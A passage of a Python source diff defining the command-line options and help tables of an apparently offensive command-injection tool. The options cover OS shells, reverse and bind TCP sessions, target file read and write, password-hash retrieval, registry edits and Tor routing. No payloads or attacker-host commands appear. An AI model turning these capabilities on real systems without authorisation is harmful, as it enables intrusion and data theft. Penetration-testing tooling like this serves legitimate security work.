action="store", + dest="openapi_tags", + default=None, + help="Only derive target(s) from operations carrying these tag(s).") + +target.add_option("-x", + dest="sitemap_url", + help="Parse target(s) from remote sitemap(.xml) file.") + +target.add_option("--method", + dest="method", + help="Force usage of given HTTP method (e.g. 'PUT').") + +# Request options +request = OptionGroup(parser, "Request", + "These options can be used to specify how to connect to the target URL.") + + +request.add_option("-d", "--data", + action="store", + dest="data", + default=False, + help="Data string to be sent through POST.") + +request.add_option("--host", + action="store", + dest="host", + help="HTTP Host header.") + +request.add_option("--referer", + action="store", + dest="referer", + help="HTTP Referer header.") + +request.add_option("--user-agent", + action="store", + dest="agent", + default = settings.DEFAULT_USER_AGENT, + help="HTTP User-Agent header.") + +request.add_option("--random-agent", + action="store_true", + dest="random_agent", + default=False, + help="Use a randomly selected HTTP User-Agent header.") + +request.add_option("--mobile", + action="store_true", + dest="mobile", + default=False, + help="Imitate smartphone through HTTP User-Agent header.") + +request.add_option("--param-del", + action="store", + dest="pdel", + help="Set character for splitting parameter values.") + +request.add_option("--cookie", + action="store", + dest="cookie", + help="HTTP Cookie header.") + +request.add_option("--load-cookies", + action="store", + dest="load_cookies", + help="File containing cookies in Netscape/wget format.") + +request.add_option("--live-cookies", + action="store", + dest="live_cookies", + help="Live cookies file used for loading up-to-date values.") + +request.add_option("--cookie-del", + action="store", + dest="cdel", + help="Set character for splitting cookie values.") + +request.add_option("--http1.0", + action="store_true", + dest="http10", + default=False, + help="Force requests to use the HTTP/1.0 protocol.") + +request.add_option("-H","--header", + action="store", + dest="header", + help="Extra header (e.g. 'X-Forwarded-For: 127.0.0.1').") + +request.add_option("--headers", + action="store", + dest="headers", + help="Extra headers (e.g. 'Accept-Language: fr\\nETag: 123').") + +request.add_option("--auth-file", + action="store", + dest="auth_file", + default=None, + help="HTTP authentication PEM cert/private key file.") + +request.add_option("--hpp", + action="store_true", + dest="hpp", + default=False, + help="Use HTTP parameter pollution method.") + +request.add_option("--proxy", + action="store", + dest="proxy", + default=False, + help="Use a proxy to connect to the target URL ('(http|https|socks4|socks5)://address:port').") + +request.add_option("--tor", + action="store_true", + dest="tor", + default=False, + help="Use the Tor network.") + +request.add_option("--tor-port", + action="store", + dest="tor_port", + default=False, + help="Set Tor proxy port (Default: 8118).") + +request.add_option("--tor-type", + action="store", + dest="tor_type", + default=None, + help="Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5).") + +request.add_option("--check-tor", + action="store_true", + dest="check_tor", + default=False, + help="Check to see if Tor is used properly.") + +request.add_option("--auth-url", + action="store", + dest="auth_url", + help="Login panel URL.") + +request.add_option("--auth-data", + action="store", + dest="auth_data", + help="Login parameters and data.") + +request.add_option("--auth-type", + action="store", + dest="auth_type", + help="HTTP authentication type (Basic, Digest, Bearer).") + +request.add_option("--auth-cred", + action="store", + dest="auth_cred", + help="HTTP authentication credentials (e.g. 'admin:admin').") + +request.add_option("--abort-code", + action="store", + dest="abort_code", + default=False, + help="Abort on (problematic) HTTP error code(s) (e.g. 401).") + +request.add_option("--ignore-code", + action="store", + dest="ignore_code", + default=False, + help="Ignore (problematic) HTTP error code(s) (e.g. 401).") + +request.add_option("--force-ssl", + action="store_true", + dest="force_ssl", + default=False, + help="Force usage of SSL/HTTPS.") + +request.add_option("--chunked", + action="store_true", + dest="chunked", + default=False, + help="Use HTTP chunked transfer encoded (POST) requests.") + +request.add_option("--proxy-file", + action="store", + dest="proxy_file", + default=None, + help="Load proxy list from a file.") + +request.add_option("--proxy-freq", + action="store", + dest="proxy_freq", + default=0, + type="int", + help="Requests between change of proxy from a given list.") + +request.add_option("--proxy-cred", + action="store", + dest="proxy_cred", + default=None, + help="Proxy authentication credentials (name:password).") + +request.add_option("--ignore-proxy", + action="store_true", + dest="ignore_proxy", + default=False, + help="Ignore system default proxy settings.") + +request.add_option("--ignore-redirects", + action="store_true", + dest="ignore_redirects", + default=False, + help="Ignore redirection attempts.") + +request.add_option("--ignore-timeouts", + action="store_true", + dest="ignore_timeouts", + default=False, + help="Ignore connection timeouts.") + +request.add_option("--randomize", + action="store", + dest="randomize", + default=None, + help="Randomly change value for given parameter(s).") + +request.add_option("--retry-on", + action="store", + dest="retry_on", + default=None, + help="Retry request on regexp matching content (e.g. 'drop').") + +request.add_option("--preprocess", + action="store", + dest="preprocess", + default=None, + help="Use given script(s) for preprocessing (request).") + +request.add_option("--postprocess", + action="store", + dest="postprocess", + default=None, + help="Use given script(s) for postprocessing (response).") + +request.add_option("--safe-url", + action="store", + dest="safe_url", + default=None, + help="URL address to visit frequently during testing.") + +request.add_option("--safe-post", + action="store", + dest="safe_post", + default=None, + help="POST data to send to a safe URL.") + +request.add_option("--safe-req", + action="store", + dest="safe_req", + default=None, + help="Load safe HTTP request from a file.") + +request.add_option("--safe-freq", + action="store", + dest="safe_freq", + default=0, + type="int", + help="Regular requests between visits to a safe URL.") + +request.add_option("--csrf-token", + action="store", + dest="csrf_token", + default=None, + help="Parameter used to hold anti-CSRF token.") + +request.add_option("--csrf-url", + action="store", + dest="csrf_url", + default=None, + help="URL address to visit for extraction of anti-CSRF token.") + +request.add_option("--csrf-method", + action="store", + dest="csrf_method", + default=None, + help="HTTP method to use during anti-CSRF token page visit.") + +request.add_option("--csrf-data", + action="store", + dest="csrf_data", + default=None, + help="POST data to send during anti-CSRF token page visit.") + +request.add_option("--csrf-retries", + action="store", + dest="csrf_retries", + default=0, + type="int", + help="Retries for anti-CSRF token retrieval (default 0).") + +request.add_option("--param-encoding", + action="store", + dest="param_encoding", + default=None, + help="Encoding a parameter's value is carried in (e.g. 'addr=base64').") + +request.add_option("--skip-urlencode", + action="store_true", + dest="skip_urlencode", + default=False, + help="Skip URL encoding of payload data.") + +request.add_option("--skip-xmlencode", + action="store_true", + dest="skip_xmlencode", + default=False, + help="Skip safe encoding of payload data for SOAP/XML.") + +request.add_option("--timeout", + action="store", + dest="timeout", + default=settings.TIMEOUT, + type="float", + help="Seconds to wait before timeout connection (Default: " + str(settings.TIMEOUT) + ").") + +request.add_option("--retries", + action="store", + dest="retries", + default=settings.MAX_RETRIES, + type="int", + help="Retries when the connection timeouts (Default: " + str(settings.MAX_RETRIES) + ").") + +request.add_option("--delay", + default=0, + action="store", + type="float", + dest="delay", + help="Seconds to delay between each HTTP request.") + +request.add_option("--jitter", + default=0, + action="store", + type="float", + dest="jitter", + help="Seconds of random variation added to '--delay'.") + +request.add_option("--drop-set-cookie", + action="store_true", + dest="drop_set_cookie", + default=False, + help="Ignore Set-Cookie header from response.") + +# Enumeration options +enumeration = OptionGroup(parser, "Enumeration", + "These options can be used to enumerate the target host.") + +enumeration.add_option("--all", + action="store_true", + dest="enum_all", + default=False, + help="Retrieve everything.") + +enumeration.add_option("--current-user", + action="store_true", + dest="current_user", + default=False, + help="Retrieve current user name.") + +enumeration.add_option("--hostname", + action="store_true", + dest="hostname", + default=False, + help="Retrieve current hostname.") + +enumeration.add_option("--is-root", + action="store_true", + dest="is_root", + default=False, + help="Check if the current user have root privileges.") + +enumeration.add_option("--is-admin", + action="store_true", + dest="is_admin", + default=False, + help="Check if the current user have admin privileges.") + +enumeration.add_option("--sys-info", + action="store_true", + dest="sys_info", + default=False, + help="Retrieve system information.") + +enumeration.add_option("--users", + action="store_true", + dest="users", + default=False, + help="Retrieve system users.") + +enumeration.add_option("--passwords", + action="store_true", + dest="passwords", + default=False, + help="Retrieve system users password hashes.") + +enumeration.add_option("--privileges", + action="store_true", + dest="privileges", + default=False, + help="Retrieve system users privileges.") + +enumeration.add_option("--ps-version", + action="store_true", + dest="ps_version", + default=False, + help="Retrieve PowerShell's version number.") + +# File access options +file_access = OptionGroup(parser, "File access", + "These options can be used to access files on the target host.") + +file_access.add_option("--file-read", + action="store", + dest="file_read", + help="Read a file from the target host.") + +file_access.add_option("--file-write", + action="store", + dest="file_write", + help="Write to a file on the target host.") + +file_access.add_option("--file-dest", + action="store", + dest="file_dest", + help="Host's absolute filepath to write to.") + +file_access.add_option("--common-files", + action="store_true", + dest="common_files", + default=False, + help="Check for common files on the target host.") + +# Windows registry access options +registry = OptionGroup(parser, "Registry access", + "These options can be used to access the Windows registry on the target host.") + +registry.add_option("--reg-read", + action="store_true", + dest="reg_read", + help="Read a Windows registry key value.") + +registry.add_option("--reg-add", + action="store_true", + dest="reg_add", + help="Write a Windows registry key value.") + +registry.add_option("--reg-del", + action="store_true", + dest="reg_del", + help="Delete a Windows registry key (value).") + +registry.add_option("--reg-key", + action="store", + dest="reg_key", + help="Windows registry key (e.g. 'HKLM\\Software\\Foo').") + +registry.add_option("--reg-value", + action="store", + dest="reg_value", + help="Windows registry key value name.") + +registry.add_option("--reg-data", + action="store", + dest="reg_data", + help="Windows registry key value data.") + +registry.add_option("--reg-type", + action="store", + dest="reg_type", + default="REG_SZ", + help="Windows registry key value type (Default: 'REG_SZ').") + +# Modules options +modules = OptionGroup(parser, "Modules", + "These options can be used increase the detection and/or injection capabilities.") + +modules.add_option("--module", + action="store", + dest="module", + default=False, + help="Use a specific injection module.") + +# Injection options +optimization = OptionGroup(parser, "Optimization", + "These options can be used to optimize the performance.") + +optimization.add_option("-o", + action="store_true", + dest="optimize", + default=False, + help="Turn on all optimization switches.") + +optimization.add_option("--no-keep-alive", + action="store_true", + dest="no_keep_alive", + default=False, + help="Disable persistent HTTP(s) connections (Keep-Alive).") + +optimization.add_option("--threads", + default=None, + action="store", + type="int", + dest="threads", + help="Max number of concurrent HTTP requests (default 1, max 10).") + +# Injection options +injection = OptionGroup(parser, "Injection", + "These options can be used to specify which parameters to inject and to provide custom injection payloads.") + +injection.add_option("-p", + action="store", + dest="test_parameter", + help="Testable parameter(s).") + +injection.add_option("--skip", + action="store", + dest="skip_parameter", + help="Skip testing for given parameter(s).") + +injection.add_option("--param-exclude", + action="store", + dest="param_exclude", + default=None, + help="Regexp to exclude parameters from testing (e.g. 'ses').") + +injection.add_option("--param-filter", + action="store", + dest="param_filter", + default=None, + help="Select testable parameter(s) by place (e.g. 'POST').") + +injection.add_option("--suffix", + action="store", + dest="suffix", + help="Injection payload suffix string.") + +injection.add_option("--prefix", + action="store", + dest="prefix", + help="Injection payload prefix string.") + +injection.add_option("--technique", + action="store", + default="", + dest="tech", + help="Specify injection technique(s) to use (Default: 'rbtf').") + +injection.add_option("--type", + action="store", + default="", + dest="type", + help="Specify injection type(s) to use.") + +injection.add_option("--eval", + action="store", + default=None, + dest="eval_sink", + metavar="LANG", + help="Test for code injection (e.g. 'php').") + +injection.add_option("--skip-technique", + action="store", + dest="skip_tech", + help="Specify injection technique(s) to skip.") + +injection.add_option("--test-filter", + action="store", + dest="test_filter", + default=None, + help="Test only the given payload boundaries (e.g. ';').") + +injection.add_option("--test-skip", + action="store", + dest="test_skip", + default=None, + help="Skip the given payload boundaries (e.g. '%0a').") + +injection.add_option("--oob", + action="store_true", + dest="oob", + default=False, + help="Test over an out-of-band (OAST) channel (HTTP(S) or DNS, see '--oob-transport').") + +injection.add_option("--oob-server", + action="store", + dest="oob_server", + help="Self-hosted interactsh server to use.") + +injection.add_option("--oob-token", + action="store", + dest="oob_token", + help="Auth token for the out-of-band server.") + +injection.add_option("--oob-transport", + action="store", + dest="oob_transport", + help="Client the target reaches the out-of-band server with (e.g. 'dns', 'curl').") + +injection.add_option("--oob-scheme", + action="store", + dest="oob_scheme", + help="Scheme the target reaches the out-of-band server on ('http' or 'https').") + +injection.add_option("--oob-poll", + action="store", + dest="oob_poll", + default=settings.OOB_POLL_INTERVAL, + help="Seconds between out-of-band server polls (Default: " + str(settings.OOB_POLL_INTERVAL) + ").") + +injection.add_option("--oob-timeout", + action="store", + dest="oob_timeout", + default=settings.OOB_TIMEOUT, + help="Seconds to wait for an interaction (Default: " + str(settings.OOB_TIMEOUT) + ").") + +injection.add_option("--maxlen", + action="store", + type="int", + dest="maxlen", + default=settings.MAXLEN, + help="Set the max length of character-by-character output (Default: " + str(settings.MAXLEN) + " chars).") + +injection.add_option("--time-sec", + default=0, + action="store", + # Written into the payload's own arithmetic, which a POSIX shell evaluates over + # integers alone - a fractional second there is a syntax error rather than a delay. + type="int", + dest="timesec", + help="Seconds to delay the OS response.") + +injection.add_option("--tmp-path", + action="store", + dest="tmp_path", + default=False, + help="Set the absolute path of web server's temp directory.") + +injection.add_option("--web-root", + action="store", + dest="web_root", + default=False, + help="Set the web server document root directory (e.g. '/var/www').") + +injection.add_option("--interpreter", + action="store", + dest="interpreter", + default = "", + help="Specify an alternative interpreter to build payloads with (e.g. 'Python').") + +injection.add_option("--os-cmd", + action="store", + dest="os_cmd", + default=False, + help="Execute a single operating system command.") + +injection.add_option("--os-shell", + action="store_true", + dest="os_shell", + default=False, + help="Prompt for a command shell.") + +injection.add_option("--pty", + action="store_true", + dest="pty", + default=False, + help="Upgrade a built-in-handler reverse/bind TCP session to a full interactive PTY (Unix target only).") + +injection.add_option("--os", + action="store", + dest="os", + default=False, + help="Force back-end operating system (e.g. 'Windows' or 'Unix-like').") + +injection.add_option("--proof", + action="store_true", + dest="proof", + default=False, + help="Prove exploitation of the detected injection point(s).") + +injection.add_option("--tamper", + action="store", + dest="tamper", + default=False, + help="Use given script(s) for tampering injection data.") + +injection.add_option("--msf-path", + action="store", + dest="msf_path", + default=False, + help="Set a local path where metasploit is installed.") + +injection.add_option("--priv-esc", + action="store_true", + dest="priv_esc", + default=False, + help="Suggest local privilege-escalation exploits as soon as a Meterpreter session opens.") + +# Detection options +detection = OptionGroup(parser, "Detection", "These options can be " + "used to customize the detection phase.") + +detection.add_option("--level", + type="int", + dest="level", + default=False, + help="Level of tests to perform (1-3, Default: " + str(settings.DEFAULT_INJECTION_LEVEL) + ").") + +detection.add_option("--string", + action="store", + dest="string", + default=None, + help="String to match in the page when the injected condition is true.") + +detection.add_option("--not-string", + action="store", + dest="not_string", + default=None, + help="String to match in the page when the injected condition is false.") + +detection.add_option("--regexp", + action="store", + dest="regexp", + default=None, + help="Regexp to match in the page when the injected condition is true.") + +detection.add_option("--code", + action="store", + dest="code", + type="int", + default=None, + help="HTTP code to match when the injected condition is true.") + +detection.add_option("--lengths", + action="store_true", + dest="lengths", + default=False, + help="Compare pages based only on their content length.") + +detection.add_option("--null-connection", + action="store_true", + dest="null_connection", + default=False, + help="Retrieve the boolean-based page's length without its body.") + +detection.add_option("--mine-params", + action="store_true", + dest="mine_params", + default=False, + help="Mine for hidden (unlinked) parameters to test.") + +detection.add_option("--mine-endpoints", + action="store_true", + dest="mine_endpoints", + default=False, + help="Mine for endpoints named in the scripts a page loads.") + +detection.add_option("--jwt", + action="store_true", + dest="jwt", + default=False, + help="Check the request's JSON Web Token and test its 'kid'.") + +detection.add_option("--skip-calc", + action="store_true", + dest="skip_calc", + default=False, + help="Skip the mathematic calculation during the detection phase.") + +detection.add_option("--skip-subst", + action="store_true", + dest="skip_subst", + default=False, + help="Confirm the time-based technique with a plain, uncomputed delay, instead of command substitution.") + +detection.add_option("--skip-empty", + action="store_true", + dest="skip_empty", + default=False, + help="Skip testing the parameter(s) with empty value(s).") + +detection.add_option("--skip-static", + action="store_true", + dest="skip_static", + default=False, + help="Skip testing the parameter(s) that do not appear to be dynamic.") + +detection.add_option("--titles", + action="store_true", + dest="titles", + default=False, + help="Compare pages based only on their titles.") + +detection.add_option("--text-only", + action="store_true", + dest="text_only", + default=False, + help="Compare pages based only on their textual content.") + +detection.add_option("--disable-stats", + action="store_true", + dest="disable_stats", + default=False, + help="Disable the statistical model for detecting the delay.") + +detection.add_option("--failed-tries", + action="store", + type="int", + dest="failed_tries", + # Left unset, so the technique can count the boundaries it is actually going to + # try. A fixed number here is a count of command separators, which says nothing + # about how many combinations the sink in hand leaves to get through. + default=None, + help="Set a number of failed injection tries, in file-based technique.") + +detection.add_option("--smart", + action="store_true", + dest="smart", + default=False, + help="Perform thorough tests only if positive heuristic(s).") + +# Miscellaneous options +misc = OptionGroup(parser, "Miscellaneous") + +misc.add_option("-z", + action="store", + dest="mnemonics", + help="Use short mnemonics (e.g. 'flu,bat,tec=rt').") + +misc.add_option("--dependencies", + action="store_true", + dest="dependencies", + default=False, + help="Check for missing (optional) third-party dependencies.") + +misc.add_option("--ignore-dependencies", + action="store_true", + dest="ignore_dependencies", + default=False, + help="Ignore all required third-party library dependencies.") + +misc.add_option("--list-tampers", + action="store_true", + dest="list_tampers", + default=False, + help="Display list of available tamper scripts.") + +misc.add_option("--alert", + action="store", + dest="alert", + default=False, + help="Run host OS command(s) when injection point is found.") + +misc.add_option("--no-logging", + action="store_true", + dest="no_logging", + default=False, + help="Disable logging to a file.") + +misc.add_option("--purge", + action="store_true", + dest="purge", + default=False, + help="Safely remove all content from " + settings.APPLICATION + " data directory.") + +misc.add_option("--cleanup", + action="store_true", + dest="cleanup", + default=False, + help="Remove what this run itself wrote to the target ('--file-write', '--reg-add'), right after writing it.") + +misc.add_option("--unstable", + action="store_true", + dest="unstable", + default=False, + help="Adjust options for unstable connections.") + +misc.add_option("--skip-waf", + action="store_true", + dest="skip_waf", + default=False, + help="Skip heuristic detection of WAF/IPS protection.") + +misc.add_option("--offline", + action="store_true", + dest="offline", + default=False, + help="Work in offline mode.") + +misc.add_option("--wizard", + action="store_true", + dest="wizard", + default=False, + help="Simple wizard interface for beginner users.") + +misc.add_option("--disable-coloring", + action="store_true", + dest="disable_coloring", + default=False, + help="Disable console output coloring.") + + # Hidden options +parser.add_option("--smoke-test", + action="store_true", + dest="smoke_test", + help=SUPPRESS) + +parser.add_option("--ignore-stdin", + action="store_true", + dest="ignore_stdin", + default=False, + help=SUPPRESS) + +parser.add_option_group(general) +parser.add_option_group(target) +parser.add_option_group(request) +parser.add_option_group(enumeration) +parser.add_option_group(file_access) +parser.add_option_group(registry) +parser.add_option_group(modules) +parser.add_option_group(optimization) +parser.add_option_group(injection) +parser.add_option_group(detection) +parser.add_option_group(misc) + +""" +Truncate long option strings so they don't wrap onto a second line. +""" +def truncate_option_strings(self, *args): + formatted = parser.formatter._format_option_strings(*args) + if len(formatted) > settings.MAX_OPTION_LENGTH: + limit = settings.MAX_OPTION_LENGTH - parser.formatter.indent_increment + formatted = formatted[:limit] + ".." + return formatted + +parser.formatter._format_option_strings = parser.formatter.format_option_strings +parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(truncate_option_strings, parser) + +parser.add_option("--hh", + action="store_true", + dest="advanced_help", + default=False, + help="Show advanced help message and exit.") + +# Listed as '-hh' beside '-h', the way the short forms are. +_advanced_help_option = parser.get_option("--hh") +_advanced_help_option._short_opts = ["-hh"] +_advanced_help_option._long_opts = [] + +""" +'-h' lists the options a first run is made of; '-hh' lists them all. +""" +_basic_help = any(_ in sys.argv for _ in ("-h", "--help")) and not any(_ in sys.argv for _ in ("-hh", "--hh")) +if any(_ in sys.argv for _ in ("-hh", "--hh")): + sys.argv = ["-h" if _ in ("-hh", "--hh") else _ for _ in sys.argv] +if _basic_help: + for _group in parser.option_groups[:]: + _shown = False + for _option in _group.option_list: + if _option.dest not in settings.BASIC_HELP_ITEMS: + _option.help = SUPPRESS + else: + _shown = True + if not _shown: + parser.option_groups.remove(_group) + +option = parser.get_option("-h") +option.help = option.help.capitalize().replace("Show this help message and exit", "Show help and exit.") +# Listed by its short form alone, the way every other switch is, while '--help' keeps working. +option._long_opts = [] +""" +How much of an option's name a mnemonic spelled, so that the shortest spelling settles a tie. +""" +def _mnemonic_length(option, name): + return min(len(spelling.replace("-", "")) for spelling in option._long_opts + option._short_opts + if spelling.replace("-", "").startswith(name)) + +""" +Expand the short mnemonics of '-z' into the options they name. + +A long command line is mostly repetition - the same handful of options, spelled out in full every +time it is typed again. A mnemonic is as much of a name as it takes to tell one option apart from +every other, so 'flu,bat,tec=rt' says what '--flush-session --batch --technique=rt' says. + +What was set is handed back, because a few options are read off the command line itself rather than +off their value - one of those, named as a mnemonic, is otherwise nowhere to be seen. +""" +def expand_mnemonics(mnemonics, parser, options): + applied = set() + # Every option filed under each prefix of every name it answers to, so that a mnemonic lands + # directly on the options it could still be. Dashes are left out, as a mnemonic carries none. + by_prefix = {} + for option_list in [parser.option_list] + [group.option_list for group in parser.option_groups]: + for option in option_list: + for spelling in option._long_opts + option._short_opts: + prefix = "" + for char in spelling: + if char == "-": + continue + prefix += char + if option not in by_prefix.setdefault(prefix, []): + by_prefix[prefix].append(option) + + for mnemonic in (mnemonics or "").split(","): + name = mnemonic.split("=")[0].replace("-", "").strip() + value = mnemonic.split("=", 1)[1] if "=" in mnemonic else None + if not name: + continue + + candidates = by_prefix.get(name, []) + if not candidates: + err_msg = "The mnemonic '" + name + "' does not name any option." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + option = candidates[0] + if len(candidates) > 1: + # A mnemonic that is also a name in full means that one; otherwise the shortest name it + # could be is taken, and said out loud, because the other readings were just as available. + spelled_out = [_ for _ in candidates if name in [spelling.replace("-", "") for spelling in _._long_opts + _._short_opts]] + if spelled_out: + option = spelled_out[0] + else: + option = sorted(candidates, key=lambda _: _mnemonic_length(_, name))[0] + warn_msg = "The mnemonic '" + name + "' names " + warn_msg += ", ".join("'" + (_._long_opts + _._short_opts)[0] + "'" for _ in candidates) + warn_msg += ", and is read as '" + (option._long_opts + option._short_opts)[0] + "'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + spelling = (option._long_opts + option._short_opts)[0] + applied.add(option.dest) + if option.action == "store_true": + setattr(options, option.dest, True) + elif option.action == "store_false": + setattr(options, option.dest, False) + elif value is None and option.dest == "eval_sink": + # Read the way a bare '--eval' is read below: the language is what is optional about it. + setattr(options, option.dest, settings.EVAL_ALL_LANGUAGES) + elif value is None: + err_msg = "The mnemonic '" + name + "' names '" + spelling + "', which is given a value " + err_msg += "(e.g. '" + name + "=...')." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + else: + try: + setattr(options, option.dest, option.convert_value(spelling, value)) + except OptionValueError: + err_msg = "The mnemonic '" + name + "' gives '" + spelling + "' the value '" + value + err_msg += "', which is not " + ("an " if str(option.type).startswith(("a", "e", "i", "o", "u")) else "a ") + str(option.type) + "." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + return applied + +""" +Spellings that are not commix's own, taken as the option they were meant to be. + +A command line is more often pasted than typed. A browser's "copy as cURL" writes '--data-raw', and +a hand that has used another tool writes the name it remembers - each of them naming something +commix has, under a name it does not. Rewritten here rather than refused, because refusing teaches +nothing the person did not already mean. +""" +ALIASED_OPTIONS = ( + ("--data-raw", "--data"), + ("--auth-creds", "--auth-cred"), + ("--drop-cookie", "--drop-set-cookie"), +) + +for _index, _argument in enumerate(sys.argv): + for _alias, _option in ALIASED_OPTIONS: + # Both the form that carries its value and the form whose value is the next argument. + if _argument == _alias or _argument.startswith(_alias + "="): + sys.argv[_index] = _argument.replace(_alias, _option, 1) + break + +# The language is optional: '--eval' on its own stands for every one that is supported, and the +# parser needs a value either way. +for _index, _argument in enumerate(sys.argv): + if _argument == "--eval": + sys.argv[_index] = "--eval=" + settings.EVAL_ALL_LANGUAGES + +try: + (options, args) = parser.parse_args() +except SystemExit: + if _basic_help: + settings.print_data_to_stdout("\n" + Style.BRIGHT + Style.UNDERLINE + "To see the full list of options run with '-hh'." + Style.RESET_ALL + "\n") + raise + +# Read first, because everything below works out what the run is from the options, and a mnemonic +# is one of them having been given. +_from_mnemonics = set() +if options.mnemonics: + _from_mnemonics = expand_mnemonics(options.mnemonics, parser, options) + +# Every registered module gets a switch of its own to be read through, whether or not '--module' +# named it - the heuristic turns one on by itself where the target looks like it calls for it. +# Resolved here rather than with the other option checks, because the startup that runs before +# those already reads them; a name that matches nothing is left for validate_modules() to report. +for _module_name in settings.MODULES: + setattr(options, _module_name, False) +if options.module: + for _named in str(options.module).lower().split(settings.PARAMETER_SPLITTING_REGEX): + if _named.strip() in settings.MODULES: + setattr(options, _named.strip(), True) + +# A profile stands for the settled part of a run, so it is applied before anything is worked out +# from the options - and only where the command line left the option alone. +_from_config = set() +if options.config_file: + from src.core.parse import configfile + _from_config = configfile.load(parser, options, options.config_file) + +# Read again here because a profile carries it too, and a value the file named is known only once it +# has been loaded - still ahead of the banner below, so it covers every line the run writes. +if options.disable_coloring: + settings.drop_coloring() + +# Remember whether '--web-root' was explicitly supplied on the CLI +settings.USER_APPLIED_WEB_ROOT = bool(options.web_root) + +# Remember whether '--retries' was explicitly supplied, since it carries a default of its own +settings.USER_APPLIED_RETRIES = "retries" in _from_config or "retries" in _from_mnemonics or any(_ in sys.argv for _ in ("--retries",)) or any(_.startswith("--retries=") for _ in sys.argv) +settings.USER_APPLIED_TIMEOUT = "timeout" in _from_config or "timeout" in _from_mnemonics or any(_ in sys.argv for _ in ("--timeout",)) or any(_.startswith("--timeout=") for _ in sys.argv) + +# Remember whether '--auth-cred'/'--auth-type' were explicitly supplied on the CLI +settings.USER_APPLIED_COOKIE = options.cookie or "" +settings.USER_APPLIED_DATA = options.data or "" +settings.USER_APPLIED_AUTH_CRED = bool(options.auth_cred) +settings.USER_APPLIED_AUTH_TYPE = bool(options.auth_type) + +# And the three a stored finding also carries, so resuming one can say when it disagrees +settings.USER_APPLIED_INTERPRETER = bool(options.interpreter) +settings.USER_APPLIED_TIMESEC = bool(options.timesec) +settings.USER_APPLIED_TMP_PATH = bool(options.tmp_path) + +# Apply '--ignore-redirects' before the very first request is made +settings.FOLLOW_REDIRECT = not options.ignore_redirects + +# Checkall the banner +if not options.version: + banner() + +# argv input errors +settings.sys_argv_errors() + +# Written after the command line has been checked over, so that a profile is never made out of one +# that would not have run. +if options.save_config: + from src.core.parse import configfile + configfile.save(parser, options, options.save_config) + +COMMON_OPTIONS = ( + (("?",), "show this help"), + (("back",), "return to the previous menu"), + (("quit", "exit"), "exit " + settings.APPLICATION + " (<Ctrl-C> asks what to do instead)"), +) + +OS_SHELL_OPTIONS = COMMON_OPTIONS + ( + (("<command>",), "execute it as an OS command on the target host"), + (("download",), "download a file from the target host (download <remote> <local>)"), + (("upload",), "upload a file to the target host (upload <local> <remote>)"), + (("use reverse_tcp",), "Switch to the reverse TCP mode"), + (("use bind_tcp",), "Switch to the bind TCP mode"), +) + +REVERSE_TCP_OPTIONS = COMMON_OPTIONS + ( + (("set payload",), "Select a reverse TCP payload"), + (("set",), "set a context option"), + (("show options",), "show the current context options"), + (("run",), "Generate and send the selected payload"), + (("use os_shell",), "Switch to the (default) OS shell mode"), + (("use bind_tcp",), "Switch to the bind TCP mode"), +) + +BIND_TCP_OPTIONS = COMMON_OPTIONS + ( + (("set payload",), "Select a bind TCP payload"), + (("set",), "set a context option"), + (("show options",), "show the current context options"), + (("run",), "Generate and send the selected payload"), + (("use os_shell",), "Switch to the (default) OS shell mode"), + (("use reverse_tcp",), "Switch to the reverse TCP mode"), +) + + +""" +Render a command reference table, msfconsole-style: a title/underline, then an +aligned "Command Description" table. +""" +def _print_options(context, options): + title = "Available Commands" + + rows = [ + (", ".join(commands), description[0].upper() + description[1:]) + for commands, description in options + ] + + command_width = max(len("Command"), max(len(command) for command, _ in rows)) + + message = ( + title + "\n" + + "=" * len(title) + "\n\n" + + " " + "Command".ljust(command_width) + " Description\n" + + " " + ("-" * len("Command")).ljust(command_width) + " " + "-" * len("Description") + "\n" + ) + + for command, description in rows: + message += ( + " " + + command.ljust(command_width) + + " " + description + "\n" + ) + + settings.print_data_to_stdout(message.rstrip() + "\n") + +""" +Render a Name/Description table, msfconsole-style (like a "show" listing). +""" +def print_module_table(title, items): + name_width = max(len("Name"), max(len(name) for name, _ in items)) + + message = ( + title + "\n" + + "=" * len(title) + "\n\n" + + " " + "Name".ljust(name_width) + " Description\n" + + " " + ("-" * len("Name")).ljust(name_width) + " " + "-" * len("Description") + "\n" + ) + + for name, description in items: + message += ( + " " + + name.ljust(name_width) + + " " + description[0].upper() + description[1:] + "\n" + ) + + settings.print_data_to_stdout(message.rstrip() + "\n") + +""" +Render a Name/Installed/Description table for the third-party dependencies. +""" +def print_dependency_table(title, rows): + name_width = max(len("Name"), max(len(name) for name, _, _ in rows)) + installed_width = len("Installed") + + message = ( + title + "\n" + + "=" * len(title) + "\n\n" + + " " + "Name".ljust(name_width) + " " + "Installed".ljust(installed_width) + " Description\n" + + " " + ("-" * len("Name")).ljust(name_width) + " " + "-" * installed_width + " " + "-" * len("Description") + "\n" + ) + + for name, installed, description in rows: + message += ( + " " + + name.ljust(name_width) + + " " + ("no", "yes")[installed].ljust(installed_width) + + " " + description + "\n" + ) + + settings.print_data_to_stdout(message.rstrip() + "\n") + +""" +Render a "show options"-style table: Name / Current Setting / Required / Description. +""" +def print_options_table(title, rows): + name_width = max(len("Name"), max(len(name) for name, _, _, _ in rows)) + current_width = max(len("Current Setting"), max(len(current) for _, current, _, _ in rows)) + required_width = len("Required") + + # One row of the options table, laid out under its headings. + def render_row(name, current, required, description): + return ( + " " + + name.ljust(name_width) + " " + + current.ljust(current_width) + " " + + required.ljust(required_width) + " " + + description + "\n" + ) + + message = ( + title + "\n" + + "=" * len(title) + "\n\n" + + render_row("Name", "Current Setting", "Required", "Description") + + render_row("-" * len("Name"), "-" * len("Current Setting"), "-" * len("Required"), "-" * len("Description")) + ) + + for name, current, required, description in rows: + message += render_row(name, current if current else "", "yes" if required else "no", description) + + settings.print_data_to_stdout(message.rstrip() + "\n") + + +# The smartphones on offer, numbered for the answer that picks one. +def _print_mobile_user_agents(devices, default_index): + message = "" + for index, (device, _) in enumerate(devices): + message += ( + "[" + + Style.BRIGHT + + str(index + 1) + + Style.RESET_ALL + + "] " + + device + + (" (default)" if index == default_index else "") + + "\n" + ) + + settings.print_data_to_stdout(message.rstrip()) + 